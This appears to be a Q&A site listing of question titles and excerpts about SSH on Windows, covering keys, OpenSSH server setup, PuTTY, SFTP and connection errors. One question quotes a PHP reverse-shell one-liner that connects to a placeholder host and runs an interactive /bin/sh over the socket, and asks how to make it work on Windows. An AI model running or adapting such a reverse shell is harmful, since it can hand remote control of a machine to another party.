All Questions
609
questions
0
votes
0
answers
32
views
Windows YubiKey GPG works with putty but not terminal
I created three gpg subkeys stored on my YubiKey as described here. I added enable-ssh-support and enable-putty-support to my gpg-agent.conf file. Everything works when accessing a server with the ssh-...
0
votes
0
answers
23
views
How can I automate the connection to an On Prem Windows VM that uses Azure AAD for authentication?
My requirement is to automate the transfer of files, and running commands on the Windows VM, which is currently a manual process where I log in to the VM via RDP (and it prompts me for my username/...
-1
votes
1
answer
32
views
Execute windows exe files on wsl after metadata,umask=022, fmask=111
WSL can't run any exe files after I added options = "metadata,umask=022,fmask=111" to wsl config. The reason I did this is so I can share ssh keys from a parent windows machine. So I would ...
0
votes
0
answers
22
views
Cygwin SFTP connection closed after PubKey authentication when Match User is set up in sshd_config
I have problem during configuration of Cygwin sftp server on Windows Server.
When I'm trying to change root directory of one user with Match User I got "Connection closed" after sftp to this ...
0
votes
1
answer
114
views
How do I clone from local git repositories with ssh?
The final goal is to host a remote repo on my pc that support pushing and pulling.
From the official doc given by git help clone, the host url format should be
git clone ssh://user@localhost:/C:/path/...
0
votes
0
answers
426
views
Starting a GUI process on a remote windows computer through SSH
I would like to start a process on a remote computer through SSH and have the GUI of the process open up on one of the remote computer's displays.
The remote computer is running Windows (10 or 11)
...
0
votes
0
answers
264
views
Why can’t I connect to an SSH server on Windows?
I'm trying to connect to my PC from my laptop when I'm out of town. First I made sure my VPN was turned off. I live in Egypt and my ISP is WE Egypt (aka: Telecom Egypt).
I set everything up but it's ...
1
vote
1
answer
58
views
why is ssh-key only used on one system
I had to copy manually my ssh key from a windows system to a headless ubuntu server using scp (because ssh-copy-id isn't a basic command on windows), and I've desactivated password authentication.
...
0
votes
0
answers
13
views
public key passwordless ssh from linux to Windows 10 works for domain account fails for local user
Linux box is Fedora 39, latest ssh/openssl libraries. Remote box is Windows 10 LTSC build 17763, OpenSSH.Server~~~~0.0.1.0, sshd.exe claims 7.7.0.
Linux user1 tries to connect as ruser1@windows, where ...
0
votes
0
answers
56
views
setting up ssh between two windows machines - permission denied
I am trying to establish ssh connection between two Windows machines. Here are things I did:
I installed OpenSSH on both machines, generated the ssh keys and placed the public key on the host machine ...
0
votes
0
answers
18
views
Windows 10 server ssh tunnel to Ubuntu doesn't work
source: Windows 10 Server (local port 8081)
destination: Ubuntu
ssh tunnel: Putty
Windows10 server------->ssh tunnel--------->Ubuntu
I have the ssh tunnel up between the source and destination
...
-1
votes
1
answer
108
views
Sending text to windows clipboard with iOS shortcuts
The command interacting with the clipboard:
echo <text> | clip
In the ios shortcut app, i try to do this remotely with the "run script over ssh" command block, but nothing is ...
0
votes
1
answer
1k
views
Windows Server 2022 openssh sftp change default directory
Windows Server 2022
Installed optional feature OpenSSH Server
With FileZilla I connect to server as MyUser which opens to
/C:/Users/MyUser/
which is the default directory.
But what I want is for the ...
-1
votes
1
answer
63
views
Unable to connect to ubuntu 20.04 on vm from windows
I could not manage to make ssh connection working.
ssh [email protected]
time out…
Port forwarding:
Host ip. Host port gast ip. G-port
0.0.0.0. 2222. 10.0.2.10. 22
Tried with host(...
0
votes
1
answer
67
views
Why OpenSSH client is not using my keys on Windows?
I'm on Windows 10, using an OpenSSH client to connect to a Debian server.
All my keys are stored in C:\Users\entityinarray\.ssh\
PS C:\Users\entityinarray> ssh [email protected]
[email protected]:...
0
votes
1
answer
72
views
How to run `nvm` for Windows through SSH?
I'm on macOS and try to run nvm on a Windows host via OpenSSH. I installed nvm via scoop install nvm on my Windows remote. The environment variables are set and where nvm resolves properly, but trying ...
1
vote
0
answers
159
views
ssh linux to windows fails, Connection reset
I have set up the sshd server in windows 11 as in the official documentation. I have transfered my public key to the windows machine to C:\ProgramData\ssh\ as administrators_authorized_keys and ...
0
votes
1
answer
123
views
Remotely initialize RDP connection through SSH
I'm trying to find a way to remotely start RDP connection through ssh with cmd. It would work like this:
Machine A tells Machine B to connect with RDP to Machine C
I've tried logging into the B with ...
2
votes
1
answer
195
views
ssh executed from Windows PowerShell displays GUI open file dialogue window
I attempted to ssh from Windows 10 to Ubuntu Linux 20.04 and the "How do you want to open this file?" window appears. I have no idea why or what this has to do with an ssh. Documentation ...
0
votes
1
answer
142
views
Cannot access the private network when connecting through a VPN to my Raspberry Pi
I can't access the router nor the Raspberry Pi through SSH when connected to it through a VPN, which is hosted in the Raspberry Pi.
The issue doesn't appear in my phone, so the issue is in Windows. I ...
0
votes
0
answers
1k
views
Persistent SSH Error 'port 22: No route to host'
I have been trying to resolve a problem on my Windows 11 laptop dealing with openSSH server with the error message 'port 22: No route to host'. Mind you I have done the download correctly, and have it ...
0
votes
1
answer
181
views
I'm unable to connect ssh using putty on my pc, but on other pc I can
Hello people of this community, I purchase a vpn and when tried to connect through ssh i got the error "connection timed out" every time I try to connect using putty. on a remote desktop I ...
0
votes
0
answers
21
views
SSH to Server from A YES, from B, NO
SO I have a ubuntu server hosted elsewhere - it is 1 day old and a clean install of ubuntu the firewall is inactive. No failban etc.
I can ssh into it from laptop B - easy.
However laptop A ....
I ...
4
votes
3
answers
21k
views
How to expand ubuntu server root storage?
I have a windows server inside of which there's an Ubuntu 22.10 server, more space was given to VM of Ubuntu. But inside of Ubuntu, when I connect through SSH, it shows that it's still the same size. ...
0
votes
0
answers
31
views
How to configure SSH password-free login from Mac OS to Windows? [duplicate]
I tried executing the following command on Mac OS:
ssh-copy-id windows_username@windows_ip
however, the following results were returned, and password-free login was not configured successfully:
/usr/...
0
votes
0
answers
369
views
Windows Server 2019, SSH server, max number of connections or concurrent users?
We are using Win2019, and enabled the built-in SSH server. We have different client devices (each with different IP addresses) connecting to this SSH server.
We would like to know, on the Win2019 SSH ...
0
votes
0
answers
233
views
How can I make password SSH more secure?
I need to log into a machine using a password. (This machine is provisioned automatically for me and others, and keys aren't provided, only individual passwords)
At first I used openssh from Windows ...
0
votes
0
answers
122
views
I can't connect from Mac when I change the default shell to bash on Windows 11 SSH
I started an OpenSSH server on Windows and connected from a Mac terminal.
I was able to connect when the default shell was cmd.exe, PowerShell, or GitBash, but not when I changed to bash.
New-...
0
votes
0
answers
773
views
Connecting to Ubuntu using ssh over Ethernet
I have given static IP 192.168.137.20 with net mask 255.255.255.0 to my windows laptop port:
Then I connected my rasberry pi (which runs Ubuntu 20.04) using USB and ran following command to also give ...
0
votes
0
answers
254
views
Pass pw for remote user in bash line when ssh from linux to windows [duplicate]
My goal is to call a .bat file from Linux to Windows, adn pass the remote user pw in the line I use to call this .bat file. I'll explain in detail:
I have to execute a command to run a .bat file in a ...
4
votes
1
answer
4k
views
How to configure powershell for OpenSSH instead of cmd
I have a Windows 10 Pro machine that I can ssh into (OpenSSH Server is installed/running) as cmd. I want to have the shell as powershell.exe (not the default of cmd.exe).
I tried setting the ...
-1
votes
1
answer
319
views
Pageant fails to generate OpenSSH Config
I want to be able to use the SSH Keys loaded in Pageant when using the built-in Open SSH client.
I tried running the command pageant.exe --openssh-config %USERPROFILE%\.ssh\pageant.conf like in the ...
0
votes
0
answers
49
views
Windows 10 SSH client: password-less access from ubuntu
I have two machines. first is ubuntu and second is a windows client.
I want to connect to windows form my ubuntu.
I create a ssh-key from my windows without password. I copy windows public key to ~/....
1
vote
0
answers
317
views
scp: ambiguous target when attempting to copy directory with an apostrophe and spaces in the name
I am trying to use scp to copy a directory by using ssh through windows terminal to connect to my mac and then use scp to copy a folder to my raspberry pi; I have tried many variations such as
scp -r &...
0
votes
2
answers
2k
views
SSH-Connection "Permission denied" after change of IP-Addresses
a couple of hours ago I changed the IP-Address of my Windows-PC and my Raspberry Pi. Up until then I was able to connect to the Pi via SSH without any problems. Now, when I try to connect, I get the ...
1
vote
1
answer
656
views
How to set the default ssh username in Windows 11?
I've tried:
~/.ssh/config
User myusername
and
Host *
User myusername
And
Putty > Connection > Data > Auto-login username myusername
And even setting the value in the registry
Seems to ...
0
votes
0
answers
108
views
SFTP won't launch when using custom script through ForceCommand on Win32 SSH
I've written a script to send an email alert when a user logs in via SSH. It is triggered through ForceCommand. This works fine when opening terminal windows but SFTP won't work (Bitvise log says &...
0
votes
0
answers
169
views
How to transfer a file from local computer in windows to remote computer in linux without installing anything additional softwares?
The local computer is in Windows 10.
The remote server also has windows.
Inside windows they're running a server on VM.
The remote server is in Linux.
Using anydesk you can copy-paste files between ...
1
vote
0
answers
136
views
Taskhost Process has high CPU when using VirtualBox
I am running a Ubuntu VirtualBox-VM on my Windows 10 host machine.
After the VM is running for some time (not at the beginning), the process taskhostw.exe uses much of the CPU. I normaly use ssh to ...
1
vote
1
answer
243
views
Why is there a significant difference in ssh connection speed and stability between my Windows PC and my Macbook?
I am not sure how to phrase this question well, but I noticed that connecting to a remote machine through ssh, my M2 Macbook Air can connect instantly after turning on from sleep. My Windows PC takes ...
0
votes
0
answers
32
views
Unable to connect to SFTP server using a Public IP address [duplicate]
I have setup a SFTP server on my Personal PC. I have started the service with the following configuration:
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more ...
1
vote
1
answer
1k
views
ssh hangs after successful authentication on command prompt, powershell and wsl2 but not PuTTY
The Issue
SSH connection hangs after a successful login when using Command Prompt or WSL2 on my local machine. However, the same SSH connection works without any issues when using PuTTY. I am able to ...
1
vote
1
answer
134
views
Why can I execute calc in an SSH session, but not notepad?
I'm logged in into a Win32-OpenSSH instance as an administrator in filtered mode (non-elevated) if that matters.
In that session, I learned that I can't run GUI programs because the SSH-server is run ...
0
votes
0
answers
361
views
WinFSP and SSHFS Multi-layer SSH issue
So I am trying to use WinFSP and SSHFS on Windows 11 to get a local copy of a remote system. I have successfully gotten the file explorer tool "Map Network Drive".
I use: \\sshfs.kr\'address'...
1
vote
0
answers
337
views
Git on Cygwin using SSH: Permission denied (publickey) when cloning, but ssh -T [email protected] works
I am having trouble getting cygwin configured to use git with ssh keys on my windows 10 machine.
I installed cygwin's most recent version from their site (setup version 2.925) and added/ensured the ...
1
vote
1
answer
866
views
Open SSH character encoding issue
I have been asked to replace an old insecure version of FreeSSH with OpenSSH on a couple of our servers, and am now having a problem that appears to related to character encoding types.
We have a ...
1
vote
0
answers
92
views
How to make "<&3 >&3 2>&3" command works in Windows as in Linux?
I tried this commmand on Debian GNU/Linux 11 (bullseye) shell :
php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");',
and it worked ...
0
votes
1
answer
92
views
Count commandline arguments of parent ssh process... on Windows
I make heavy use of this technique get a Linux tmux console. The intent here is that the Match...exec does not execute the RemoteCommand when I'm doing an ssh host command, so remote execution doesn'...
1
vote
1
answer
302
views
Getting "Remote to remote not supported" when copy file from Windows host to remote Ubuntu server using pscp
I'm trying to copy a file from a Windows host to a remote Linux (Ubuntu) server using pscp.
This looks straight forward at first:
pscp -P 22 'C:\text.txt' user@ip:~/Downloads
However, I get the ...
3
votes
2
answers
2k
views
Remotely Login to Windows Desktop
I’m looking to be able to remotely power on my Windows machine and start a program.
I have WoL (Wake on LAN), and a SSH Server configured so I’m able to remotely turn on the machine and remotely ...